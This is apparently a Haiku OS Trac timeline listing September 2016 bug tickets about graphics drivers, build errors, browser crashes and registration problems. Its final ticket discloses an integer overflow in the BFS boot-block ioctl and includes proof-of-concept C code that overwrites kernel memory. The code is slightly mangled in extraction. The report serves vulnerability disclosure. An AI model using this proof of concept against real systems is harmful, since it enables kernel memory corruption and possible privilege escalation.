Latest Bugs & Tasks

Syndicate content Haiku
Trac Timeline
Updated: 31 min 33 sec ago

Ticket #12955 (NVidia GeForce 6150 (NV44) graphics issues) created

Tue, 2016-09-13 01:00

hrev50533 x86_64
ASUS A8N-VM CSM motherboard

  • display showing horizontal lines during boot sequence (attached IMG_0241.JPG)
  • (VGA output) native resolution of monitor (1680x1050) not supported in screen preferences (attached screenshot1.png)
  • (VGA output) selecting any higher resolution than 1024x768 results in distorted image
  • (DVI output) native resolution of monitor is supported in screen preferences, but Haiku auto selects 1024x768 on first boot. (attached screenshot2.png)
  • (DVI output) selecting native monitor resolution (1680x1050) works OK. There are red vertical lines across the desktop. (attached screenshot3.png)

attached syslog_vga
attached syslog_dvi
attached listdev

Categories: Development

Ticket #12954 (AMD Opteron 180 incorrectly identified as a AMD Athlon 64) created

Tue, 2016-09-13 00:15

hrev50533 x86_64
ASUS A8N-VM CSM motherboard
AMD Opteron 180 incorrectly identified in "About this system" and "Pulse" as a AMD Athlon 64.
(see attached screenshot)

Categories: Development

Ticket #12953 (MediaTrack::WriteFrames problems with gcc5 / latest ffmpeg) created

Mon, 2016-09-12 11:43

Latest ffmpeg update seems to have broken something in out MediaKit.
In particular, using MediaTrack::WriteFrames produces some warnings/errors on stdout:

AVFrame.width or height is not set
AVFrame.format is not set

This is reproducible using BeScreenCapture, but also MediaConverter doesn't work anymore.

Categories: Development

Ticket #3459 (White box in top-left of screen) closed

Mon, 2016-09-12 05:18
Categories: Development

Ticket #4402 (Failure to boot on Intel i810 hardware) closed

Sun, 2016-09-11 17:27

I think Haiku supports only 16 and 32 bits, but not 24. Let's close the ticket and let this old hardware this way, I think we can say "good enough" for now?

The lack of bootscreen and failure to use VESA/FailSafe video is caused by an uncompatible VESA BIOS. We could work around it but it would need lots of efforts and there's not much point now that we have a native driver.

Categories: Development

Ticket #12952 (Issue Building on MacOS-X w/ DEBUG=1) created

Fri, 2016-09-09 11:55

Building with DEBUG=1 on MacOS-X yields an error;

Undefined symbols for architecture x86_64:
  "_printchar", referenced from:
      _print_fastmap in regex.o
      _print_partial_compiled_pattern in regex.o
      _print_double_string in regex.o
      _regex_compile in regex.o
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)

This is because the host build-targets are requiring "gnuregex" and this library has debug code that looks for a "printchar" function which is not defined.

This patch adds a definition of this function for the purposes of sating the build process.

Categories: Development

Ticket #12951 (page fault triggered by xhci) closed

Thu, 2016-09-08 09:25
Categories: Development

Ticket #12951 (page fault triggered by xhci) created

Thu, 2016-09-08 02:16

I've included screenshots from running "sc" and "message" in the kernel debugger, and also lspci -vnn output from linux

Categories: Development

Ticket #12950 (Webpositive overlapping text when highlighting) created

Wed, 2016-09-07 23:19

hrev50531 x86_gcc2

When trying to highlight text to copy/paste the highlighted text begins overlapping.

Example: Go to the following URL and attempt to highlight "Matrox G450 ATX Dual VGA"

attached screenshot showing issue

Categories: Development

Ticket #12949 (Lenovo Z580 - Will Not Boot - Regression) created

Wed, 2016-09-07 22:13

I have an Lenovo Z580 (​

Haiku used to boot on this laptop from CD just fine. I have not downloaded and tried Haiku in a while so I can't tell you exactly when the last time worked was. I have tried various nightlies over the last month or so and non have booted. I get a KDL at the drive icon reporting now boot partition found, but I am booting from the CD, it is the boot partition. The best I could get you is a photo of the screen.

Categories: Development

Ticket #12948 (AMD Ethernet no connection in Haiku) created

Wed, 2016-09-07 17:42

hrev50531 x86_gcc2

device Network controller (Ethernet controller) [2|0|0]
vendor 1022: Advanced Micro Devices, Inc. [AMD]
device 2001: 79c978 [HomePNA]

This device is recognized and acquires the correct DHCP address in BeOS.

Categories: Development

Ticket #12947 (Trac won't accept new registrations (classifies as spam)) created

Wed, 2016-09-07 16:13

More and more people on IRC mention that they are unable to register at Trac, because they are rejected as possible spam. This is very bad, as it deterres bug reports and patches and ultimately possibly new developers.

I have no idea what's the problem, let alone the solution. I'll post a short discussion by PulkoMandy and Barrett, with Adrien's take on it:

[18:23] <Barrett> <gbl08ma> Barrett: I tried registering with two email addresses, first a Gmail one and after that didn't work, a one (personal domain)
[18:23] <Barrett> <gbl08ma> both times I got an error message "Submission rejected as potential spam" because of failed captcha attempts and high spambayes probability
[18:34] <PulkoMandy> Barrett: not much can be done, users can be added manually but that won't fix things long-term
[18:35] <PulkoMandy> basically the "register" page submit feeds an empty string to the spam filter logic no matter what
[18:35] <PulkoMandy> and people keep marking things as "spam" for our bayesian filter in trac administration, so now everything empty is "spam"
[18:35] <PulkoMandy> and it's not possible to register anymore
[18:36] <PulkoMandy> the captcha would save it, but I think it's broken
[18:37] <Barrett> in past I suggested to use reCaptcha, but forgot how it ended BTW
[18:39] <PulkoMandy> that's what we use
[18:40] <PulkoMandy> possibly our API key is broken however, no idea how to test that
Categories: Development

Ticket #12946 (WebPositve crashes on (streaming site)) created

Wed, 2016-09-07 14:59

This is hrev50505.

Starting "WebPositive ​" from Terminal, I get over and over:

[libmodplug @ 0x197c39c0] Format libmodplug detected only with low score of 24, misdetection possible!

All the while I receive data full-speed before eventually WebPositive crashes in several BUrlProtocol.HTTP threads (full debug report attached):

	thread 16965: BUrlProtocol.HTTP
		state: Exception (Segment violation)
		Frame		IP			Function Name
		0x70ff34e8	0x13423b5	/boot/system/lib/x86/ + 0xa83b5
Unable to retrieve disassembly for IP 0x13423b5: No such file or directory
			Frame memory:
				[0x70ff34d0]  .5w.8..S85.pl_7.   ac 35 77 18 38 ad 06 53 38 35 ff 70 6c 5f 37 01
				[0x70ff34e0]  . ... w.           00 20 00 00 00 20 77 18
		0x70ff3528	0x13426dc	/boot/system/lib/x86/ + 0xa86dc
		0x70ff3578	0x134326b	/boot/system/lib/x86/ + 0xa926b
		0x70ff3598	0x134349e	/boot/system/lib/x86/ + 0xa949e
		0x70ff35e0	0xa9d2e0	BMessage::operator=(BMessage const&) + 0x32
		0x70ff3600	0xa9d4ae	BMessage::BMessage(BMessage const&) + 0x30
		0x70ff3690	0xa9d530	BMessage::_SendMessage(long, long, long, long long, bool, BMessenger&) const + 0x72
		0x70ff36c0	0xaa31fe	BMessenger::SendMessage(BMessage*, BMessenger, long long) const + 0x32
		0x70ff3740	0xaa353e	BMessenger::SendMessage(BMessage*, BHandler*, long long) const + 0x9e
		0x70ff3790	0xa9630b	BLooper::_PostMessage(BMessage*, BHandler*, BHandler*) + 0x41
		0x70ff3800	0xa978c4	BLooper::PostMessage(unsigned long, BHandler*, BHandler*) + 0x2c
		0x70ff3848	0x349e5b4	WebCore::MediaPlayerPrivate::DownloadProgress(BUrlRequest*, long, long) + 0xd4
		0x70ff4900	0xe94ea1	BHttpRequest::_MakeRequest() + 0xa69
		0x70ff49c0	0xe953e0	BHttpRequest::_ProtocolLoop() + 0x1bc
		0x70ff49e0	0xe9bb34	BUrlRequest::_ThreadEntry(void*) + 0x1c
		0x70ff49f8	0x12c6c87	/boot/system/lib/x86/ + 0x2cc87
		00000000	0x60ac3250	commpage_thread_exit + 0
Categories: Development

Ticket #12945 ([Screenshot] Display error messages when saving fails) created

Wed, 2016-09-07 12:19

In the process of fixing #10928, I noticed that the screenshot tool doesn't show any errors when saving the image fails (because of insufficient permissions, or if the destination for some reason is not a directory, or any other storage error).

On error, the window just stayed open, instead of closing. This can be very confusing for the users who might not remember that the normal behavior is to close on save, and thus may think the file saved sucessfully when it didn't.

This patch fixes the problem by adding error alerts to the saving function.

Categories: Development

Ticket #10928 ([Screenshot] Artwork folder is read-only (easy)) closed

Wed, 2016-09-07 05:24

Applied in hrev50530, thanks!
Feel free to continue with the improved error handling and user alerts, or something else as you wish :)

Categories: Development

Ticket #12944 ([Debugger] can't load sources for 'make') closed

Wed, 2016-09-07 03:04

Should be fixed in hrev50529.

Categories: Development

Ticket #12944 ([Debugger] can't load sources for 'make') created

Tue, 2016-09-06 09:11

hrev50481 x86_64

I built grep-2.24 and make-4.1 with porter, installed both locally with sources.
Debugger grep lets me locate the grep.c source file successfully, while Debugger make lets me locate the main.c source file but fails to load it.

Categories: Development

Ticket #12943 (BFS ioctl BFS_IOCTL_UPDATE_BOOT_BLOCK integer overflow leading to code ...) created

Tue, 2016-09-06 02:42

In BFS ioctl BFS_IOCTL_UPDATE_BOOT_BLOCK implementation:

			if (update.offset < offsetof(disk_super_block, pad_to_block)
				|| update.length + update.offset > 512)
				return B_BAD_VALUE;

The check on "update.length + update.offset > 512" can overflow 32-bit int. In which case, it will happily memcpy() to an arbitrary memory address.

Sample code:

#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
struct update_boot_block {
	unsigned offset;
	void *data;
	unsigned length;
int main() {
	int fd, ret;
	char data[0x1000] = {0};
	struct update_boot_block block;
	memset(data, 0x42, sizeof(data));
	block.offset = -0x1000;
	block.length = 0x1000; = &data;
	fd = open("/boot/", O_RDONLY, 0);
	ret = ioctl(fd, 14204, &block, sizeof(block));

This will overwrite some kernel memory with 0x42.

(Is it even a good idea to let anyone update the boot block?)

Categories: Development